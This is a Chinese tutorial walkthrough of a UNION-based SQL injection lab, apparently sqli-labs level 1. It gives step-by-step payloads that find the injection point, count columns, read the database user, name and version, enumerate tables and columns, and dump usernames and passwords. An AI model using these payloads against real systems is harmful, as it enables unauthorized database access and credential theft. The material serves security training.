一、找注入点
单引号注入题目,在参数后面加一个单引号:
/?id=1'
数据库报错,单引号匹配出错,即添加的单引号成功被数据库解析,可以通过闭合id参数,插入构造的sql语句实施攻击。
二、order by判断列数
order by 1、2、3都尝试,无报错。
/?id=1' order by 4 --+
用4的话报错:Unknown column ‘4’ in ‘order clause’
证明当前数据库表只有3列。可以使用union的联合注入。
三、union联合注入,判断数据显示点
使用union语句的前提为:union 后面的语句必须与前面的语句字段数以及类型一致,否则数据库会报错。
因为sql语句的执行结果只有第一行会被回显在页面上,所以要把原始语句的的结果集变为空,这样想要的结果才能显示在界面上。
现在需要确定哪几个字段会被显示在页面上,判断数据显示点 (id一定要改为0或负数):
/?id=0' union select 1,2,3 --+
页面返回提示:
Your Login name:2
Your Password:3
可以看到字段2,3被显示在了页面上。
四、爆库、爆表
爆登录用户和数据库名:
/?id=0' union select 1,user(),database() --+
获取当前用户,当前数据库,数据库版本,数据库路径:
/?id=1' union select 1,concat_ws('_',user(),database(),version()),@@basedir
利用元数据库来爆表、爆数据:
/?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
查看数据库有哪些表:
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 --+
查看对应表有哪些列:
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 --+
查看账号密码信息(加0x3A即%3A是为区分用其代表的“:”来区分用户名和密码):
union select 1,(select group_concat(concat_ws(0x3A,username,password))from users),3 --+
SQL注入篇——sqli-labs最详细1-40闯关指南
https://admin-root.blog.csdn.net/article/details/103932264
sqlilabs教程(1-10)
https://blog.csdn.net/he_and/article/details/79979616
sqli-labs闯关指南1—10
https://blog.csdn.net/sdb5858874/article/details/80727555